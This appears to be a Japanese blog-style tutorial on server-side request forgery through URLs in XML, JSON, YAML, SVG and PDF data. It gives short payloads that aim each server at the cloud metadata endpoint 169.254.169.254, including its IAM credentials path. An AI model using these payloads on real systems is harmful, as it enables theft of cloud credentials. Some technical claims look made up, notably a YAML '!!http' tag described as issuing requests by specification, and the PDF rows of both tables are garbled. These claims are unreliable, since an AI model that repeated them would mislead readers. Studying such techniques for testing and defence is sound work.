Hello there, ('ω')ノ
一部のアプリケーションでは、データを特定のフォーマット(XML, JSON, YAML など)で受け取り、その内容を解析(パース)する処理を実装 しています。
このようなデータフォーマットには URLを含める仕様がある場合があり、これがSSRF攻撃の対象 になることがあります。
1. URLを含むデータフォーマットとは?
アプリケーションがデータを受信・処理する際、そのフォーマットの仕様によっては、含まれたURLに対してサーバーがリクエストを発生させることがある ため、これを悪用できます。
フォーマット | 攻撃手法 |
---|---|
XML | XXE(XML外部エンティティ)を使ったSSRF |
JSON | imageUrl , callbackUrl などのフィールドを悪用 |
YAML | !!http タグを利用したSSRF |
SVG(Scalable Vector Graphics) | xlink:href を利用したSSRF |
URI スキームを利用してSSRF |
2. XMLを利用したSSRF(XXE経由のSSRF)
XMLのパース時に外部エンティティを読み込める場合、XXE(XML外部エンティティ)攻撃 を使って、SSRF攻撃を実行 することが可能です。
📌 攻撃例:XXEを利用してAWSメタデータサービスにアクセス
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/"> ]> <stockCheck> <url>&xxe;</url> </stockCheck>
結果:
✅ サーバーが 169.254.169.254
にリクエストを送信し、AWSのIAMクレデンシャルを取得する可能性あり!
3. JSONを利用したSSRF
JSONフォーマット内で URLを含むフィールド を使用している場合、サーバーがそのURLにリクエストを送信する可能性があります。
📌 攻撃例:JSON内の callbackUrl
を利用
{ "callbackUrl": "http://169.254.169.254/latest/meta-data/" }
結果:
✅ バックエンドが callbackUrl
にリクエストを送るなら、メタデータサービスにアクセス可能!
4. YAMLを利用したSSRF
YAMLは !!http
タグを使うと外部リクエストを発生させる 仕様があります。
📌 攻撃例:YAMLを利用したSSRF
config: avatar: !!http "http://169.254.169.254/latest/meta-data/"
結果:
✅ サーバーがこのURLをリクエストする場合、クラウドのメタデータ情報を取得可能!
5. SVGを利用したSSRF
SVG(Scalable Vector Graphics)フォーマットには、外部リソースを参照する xlink:href
属性 があります。
これを利用すると、サーバーがリクエストを発生させる可能性があります。
📌 攻撃例:SVGを使ったSSRF
<svg xmlns="http://www.w3.org/2000/svg"> <image xlink:href="http://169.254.169.254/latest/meta-data/" width="500" height="500"/> </svg>
結果:
✅ サーバーがこのURLをリクエストすると、メタデータAPIへのSSRFが成功!
6. PDFを利用したSSRF
PDFフォーマットには、外部リクエストを発生させる URI
スキーム があります。
これを悪用すると、SSRFを発生させることが可能 です。
📌 攻撃例:PDFのURIスキームを悪用
<< /Type /Action /S /URI /URI (http://169.254.169.254/latest/meta-data/) >>
結果:
✅ サーバーがこのURLをリクエストすれば、クラウド環境の認証情報を取得可能!
7. まとめ
フォーマット | 攻撃手法 | 攻撃例 |
---|---|---|
XML | XXEを利用したSSRF | <!ENTITY xxe SYSTEM "http://169.254.169.254/"> |
JSON | callbackUrl を利用 |
"callbackUrl": "http://169.254.169.254/" |
YAML | !!http を使ったSSRF |
avatar: !!http "http://169.254.169.254/" |
SVG | xlink:href を利用 |
<image xlink:href="http://169.254.169.254/" |
URI スキームを利用 |
/URI (http://169.254.169.254/) |
🚀 データフォーマット内のURLもSSRFの攻撃対象になり得る!
🔍 アプリケーションが外部リクエストを発生させる仕組みを利用し、隠れた攻撃ベクターを見つけよう!
Best regards, (^^ゞ